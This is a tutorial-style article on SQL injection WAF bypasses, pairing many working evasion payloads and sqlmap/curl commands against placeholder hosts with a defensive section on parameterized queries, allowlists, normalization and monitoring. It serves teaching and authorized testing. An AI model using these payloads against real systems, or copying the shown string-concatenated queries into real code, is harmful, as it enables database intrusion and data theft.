SQL injection is old news—until you watch a modern web app sail straight past a “protected” perimeter because the WAF was matching strings, not understanding SQL. That gap between pattern matching and parser reality is where WAF bypass lives. In this article, we’ll look at how attackers evade SQL injection filters using obfuscation, encoding, alternate syntax, and parser confusion—and, more importantly, how defenders can stop relying on brittle regexes and build systems that are actually resistant to injection. This is for developers and junior security engineers who want to understand the mechanics, not just memorize payloads.

Why WAF bypass matters

A Web Application Firewall sits between users and your app, inspecting HTTP requests for suspicious patterns. In theory, it blocks common attack strings like:

text
' OR 1=1 --
UNION SELECT ...
SLEEP(5)

In practice, many WAFs still depend heavily on signatures, transformations, and normalization rules. Attackers exploit differences between:

  • what the WAF sees
  • what the application framework decodes
  • what the database parser executes

If those layers interpret the same input differently, filtering breaks.

For example, a WAF might block UNION SELECT, but the backend DB may still accept:

sql
UN/**/ION SEL/**/ECT

or:

sql
UNI%4fN SEL%45CT

after decoding and comment stripping.

The key lesson: SQL injection bypass is rarely “magic.” It’s usually parser mismatch.

Ethical scope

Everything here is for defensive understanding, secure coding, testing in labs, and authorized assessments only. Use these examples against systems you own or are permitted to test.

A good legal target for practice is a lab environment such as:

  • DVWA
  • PortSwigger Web Security Academy labs
  • OWASP Juice Shop
  • Custom local Docker test apps

The classic vulnerable pattern

Here’s the kind of code that creates the problem in the first place:

php
<?php
$id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = '$id'";
$result = mysqli_query($conn, $query);
?>

A request like:

http
GET /product.php?id=1' OR '1'='1 HTTP/1.1
Host: target.local

turns into:

sql
SELECT * FROM products WHERE id = '1' OR '1'='1'

Now add a WAF that blocks exact strings like or 1=1 or union select, and you have the setup for evasion.

How WAFs typically detect SQLi

Most WAFs use some combination of:

  • signature matching against known payloads
  • keyword detection like union, select, sleep, benchmark
  • anomaly scoring based on suspicious characters
  • normalization such as URL decoding or whitespace collapsing
  • behavioral rules like repeated failed requests

The weakness appears when normalization is incomplete or inconsistent. If the WAF normalizes once, but the app decodes twice, an attacker may smuggle dangerous input through.

Example: single vs double decoding

Suppose the WAF decodes %27 into ', but not nested encodings.

Payload sent:

text
%2527%2520OR%25201%253D1--

After one decode:

text
%27 OR 1=1--

After a second decode by the app:

text
' OR 1=1--

This is a classic parser gap.

Common SQLi WAF bypass techniques

Let’s walk through the major evasion categories.

1. Whitespace obfuscation

Many naive filters assume SQL keywords are separated by normal spaces. But SQL parsers often accept tabs, newlines, comments, or other separators.

Blocked payload:

sql
UNION SELECT username, password FROM users

Variants:

sql
UNION%0ASELECT username,password FROM users
sql
UNION/**/SELECT/**/username,password/**/FROM/**/users
sql
UNION	SELECT username,password FROM users
sql
UNION%09SELECT username,password FROM users

In HTTP:

http
GET /search?q=test' UNION/**/SELECT/**/username,password/**/FROM/**/users-- -

Why it works:

  • WAF expects literal spaces
  • DB parser treats comments or tabs as separators

2. Keyword splitting with comments

Inline comments are one of the most common bypass tricks.

Examples:

sql
UN/**/ION SEL/**/ECT
sql
SE/**/LECT
sql
DR/**/OP

MySQL is especially permissive with comments:

sql
/*!50000SELECT*/ username, password FROM users

That /*! ... */ syntax is a MySQL versioned comment. Some WAFs treat it as harmless comment text, while MySQL may execute it.

Example payload:

sql
1' /*!UNION*/ /*!SELECT*/ 1,2,3--

3. Case manipulation

Basic filters may be case-sensitive.

Blocked:

sql
union select

Bypass:

sql
UnIoN SeLeCt

or:

sql
UNION SELECT

This sounds trivial, but poorly written custom filters still make this mistake.

4. URL encoding and double encoding

Encoding can hide special characters or keywords from filters that don’t fully normalize input.

Examples:

text
%27%20OR%201%3D1-- 

decodes to:

sql
' OR 1=1--

Double-encoded:

text
%2527%2520OR%25201%253D1--

Hex-encoded characters inside parameters can also matter when frameworks decode before handing off to SQL-building code.

Testing with curl:

bash
curl 'http://target.local/item?id=%2527%2520OR%25201%253D1--'

5. Alternate operators and syntax

If a filter blocks OR, attackers may use equivalent logic.

Instead of:

sql
' OR 1=1 --

try:

sql
' || 1=1 --

in databases where || behaves as logical OR or string concatenation in exploitable ways.

Or use comparisons that avoid obvious patterns:

sql
' OR 'a'='a' --
sql
' OR 2>1 --
sql
' OR NOT 0 --

For blind SQLi, instead of AND 1=1, attackers may use:

sql
' AND 'x' LIKE 'x

or:

sql
' AND ASCII(SUBSTRING(user(),1,1))>64--

The idea is to avoid the exact signatures the WAF expects.

6. Function and synonym substitution

WAFs often block a narrow set of high-risk functions like SLEEP() or UNION SELECT, but databases offer many ways to express the same logic.

MySQL examples

Instead of:

sql
SLEEP(5)

try:

sql
BENCHMARK(10000000,MD5(1))

Instead of direct string literals:

sql
SELECT 'admin'

use:

sql
SELECT CHAR(97,100,109,105,110)

Instead of:

sql
WHERE username='admin'

use:

sql
WHERE username=CHAR(97,100,109,105,110)

This can bypass quote filters and keyword-focused rules.

MSSQL examples

Instead of obvious delay functions:

sql
WAITFOR DELAY '0:0:5'

an attacker may look for alternate timing behaviors or stacked-query opportunities depending on the environment.

PostgreSQL examples

Use casting, concatenation, or alternate expressions rather than straightforward string comparison.

The lesson for defenders: blocking a function name is not equivalent to blocking the capability.

7. String construction to evade quotes and signatures

If quotes are filtered, attackers may build strings dynamically.

MySQL:

sql
CHAR(117,115,101,114,115)

which becomes:

text
users

Concatenation examples:

sql
CONCAT('ad','min')

Hex literals in MySQL:

sql
0x61646d696e

which can represent admin.

Payload example:

sql
1' UNION SELECT 1,0x61646d696e,0x70617373776f7264--

This avoids plain-text strings that a WAF might flag.

8. Comment-based truncation

SQL comments can neutralize the rest of the original query.

Examples:

sql
' OR 1=1-- -
sql
' OR 1=1#
sql
' OR 1=1/*

Different databases support different comment styles:

  • -- requires trailing space in many cases
  • # is valid in MySQL
  • /* ... */ is block comment syntax

A WAF might block one style but not all of them.

9. HTTP parameter pollution and fragmentation

Sometimes the bypass isn’t in SQL syntax alone—it’s in how the request is assembled.

Imagine a backend concatenates repeated parameters, but the WAF inspects only one.

Example request:

http
GET /search?id=1&id=' OR '1'='1

Or fragmented payloads:

http
GET /search?a=UNION&b=SELECT&c=username,password&d=FROM users

If the application combines inputs server-side, the WAF may miss the final form.

This is highly implementation-specific, but it matters in real-world bypasses.

10. JSON and alternate content types

Modern apps don’t just take query strings. They accept JSON, XML, multipart forms, and GraphQL.

If the WAF is tuned for URL-encoded forms but weak on JSON parsing, payloads may slip through.

Example JSON request:

bash
curl -X POST http://target.local/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin'\'' OR '\''1'\''='\''1","password":"x"}'

If the WAF fails to parse JSON correctly, but the app deserializes it and builds SQL unsafely, the attack lands.

11. Blind SQLi payload mutation

For blind injection, attackers often avoid obvious extraction strings and use conditional logic.

Instead of obvious payloads like:

sql
' AND SLEEP(5)--

they may try:

sql
' AND IF(ASCII(SUBSTRING(DATABASE(),1,1))>64,SLEEP(5),0)--

If SLEEP is blocked, they may switch to resource-intensive alternatives:

sql
' AND IF(1=1,BENCHMARK(5000000,SHA1(1)),0)--

Or boolean-based payloads:

sql
' AND SUBSTRING(USER(),1,1)='r'--

This is where sqlmap becomes useful during authorized testing because it automates payload mutation.

Example usage:

bash
sqlmap -u "http://target.local/item?id=1" --level=5 --risk=3 --tamper=space2comment,charencode

Common tamper scripts include:

  • space2comment
  • charencode
  • between
  • randomcase
  • equaltolike

These transform payloads to evade weak filters.

Example: from blocked payload to bypassed payload

Let’s say a WAF blocks this request:

http
GET /product?id=1' UNION SELECT username,password FROM users-- -

A tester might mutate it step by step.

Step 1: case randomization

sql
1' UnIoN SeLeCt username,password FrOm users-- -

Step 2: comment-separated keywords

sql
1'/**/UNION/**/SELECT/**/username,password/**/FROM/**/users--%20-

Step 3: encode spaces/comments

text
1%27/**/UNION/**/SELECT/**/username,password/**/FROM/**/users--%20-

Step 4: obfuscate strings or identifiers if needed

sql
1' UNION SELECT 1,CHAR(97,100,109,105,110)--

In a real test, each mutation probes what the WAF normalizes and what the DB accepts.

Why these bypasses succeed

At a technical level, bypasses succeed because of one or more of these issues:

Incomplete normalization

The WAF decodes once, but the app decodes twice.

Regex-based detection

Regex can catch common payloads, but SQL is too flexible for brittle pattern matching.

DB-specific syntax gaps

MySQL, PostgreSQL, MSSQL, and Oracle all parse SQL differently. A generic WAF may not understand edge-case syntax.

Context ignorance

A WAF may see “suspicious text” but not know whether it lands in:

  • a string literal
  • a numeric clause
  • an ORDER BY
  • a LIMIT
  • a JSON field
  • a stored procedure call

Application-layer transformations

Frameworks, proxies, and middleware may alter input after inspection.

Defensive takeaways: how to actually prevent SQL injection

Here’s the blunt truth: a WAF is not a primary SQL injection defense. It is a detection and mitigation layer. Your real fix is in the application.

1. Use parameterized queries everywhere

This is the most important defense.

PHP with PDO

php
<?php
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = ?");
$stmt->execute([$_GET['id']]);
$product = $stmt->fetch();
?>

Python with psycopg2

python
cur.execute("SELECT * FROM users WHERE username = %s", (username,))

Node.js with mysql2

javascript
const [rows] = await conn.execute(
  'SELECT * FROM users WHERE email = ?',
  [email]
);

With parameterization, user input stays data—not executable SQL syntax.

2. Avoid dynamic query construction

The dangerous pattern is string concatenation:

javascript
const query = "SELECT * FROM users WHERE name = '" + input + "'";

Even if a WAF blocks some payloads, this is still broken.

3. Allowlist dynamic SQL fragments

Some parts of SQL cannot be parameterized directly, such as column names or sort order. For those, use allowlists.

Bad:

javascript
const query = `SELECT * FROM products ORDER BY ${req.query.sort}`;

Good:

javascript
const allowed = { name: 'name', price: 'price', created: 'created_at' };
const sort = allowed[req.query.sort] || 'name';
const query = `SELECT * FROM products ORDER BY ${sort}`;

4. Normalize input consistently before inspection

If you do use a WAF or custom detection:

  • decode inputs consistently
  • avoid multiple decoding stages
  • inspect all content types you accept
  • parse JSON/XML properly
  • log both raw and normalized forms

5. Use least-privileged database accounts

If the app only needs SELECT and UPDATE, don’t give it DROP, ALTER, or admin rights.

This limits blast radius if injection happens.

6. Disable dangerous DB features where possible

Depending on the stack:

  • disable stacked queries if unsupported by the app
  • restrict file read/write functions
  • block outbound DB network access
  • disable unnecessary stored procedures

7. Monitor for evasive patterns

Detection still matters. Good signals include:

  • excessive comments in parameters
  • repeated URL/double-encoded metacharacters
  • time-based probing patterns
  • CHAR(...), hex literals, versioned comments
  • sudden spikes in 4xx/5xx around search/login endpoints

8. Test with payload mutation, not just simple strings

Many teams test only:

sql
' OR 1=1 --

and conclude they’re safe when it fails.

Instead, test:

  • encoded payloads
  • comment-separated keywords
  • mixed-case variants
  • JSON body injection
  • numeric-context payloads
  • blind/time-based payloads

Tools like Burp Suite Repeater, Intruder, and sqlmap in an authorized environment help here.

A quick lab workflow for defenders

If you want to validate your defenses in a safe environment:

1. Stand up a lab app

Use DVWA or Juice Shop locally.

2. Put a WAF or reverse proxy in front

For example:

  • ModSecurity + OWASP CRS
  • Nginx with custom rules
  • Cloud WAF in a staging environment

3. Replay baseline payloads

bash
curl "http://lab.local/vuln?id=1' OR '1'='1-- -"
curl "http://lab.local/vuln?id=1%27/**/OR/**/%271%27=%271--%20-"

4. Observe differences

Check:

  • WAF logs
  • app logs
  • DB logs
  • HTTP responses
  • response timing

5. Fix the app first, tune WAF second

If parameterized queries are in place, the WAF becomes a backup layer instead of your only shield.

Final thoughts

SQL injection WAF bypass is less about exotic hacker wizardry and more about exploiting mismatches in decoding, parsing, and detection logic. Attackers don’t need to invent new SQL—they just need to express old SQL in forms your filter doesn’t recognize. Comments instead of spaces, encoded characters instead of literals, alternate operators instead of blocked keywords, JSON instead of query strings: same intent, different surface.

For developers, the takeaway is simple: don’t try to sanitize your way out of SQL injection with blacklists. For security engineers, assume WAF signatures will be bypassed eventually and focus on layered defenses, strong normalization, detection, and secure query design.

If your app is building SQL with string concatenation, a WAF might save you once. Parameterized queries save you every time.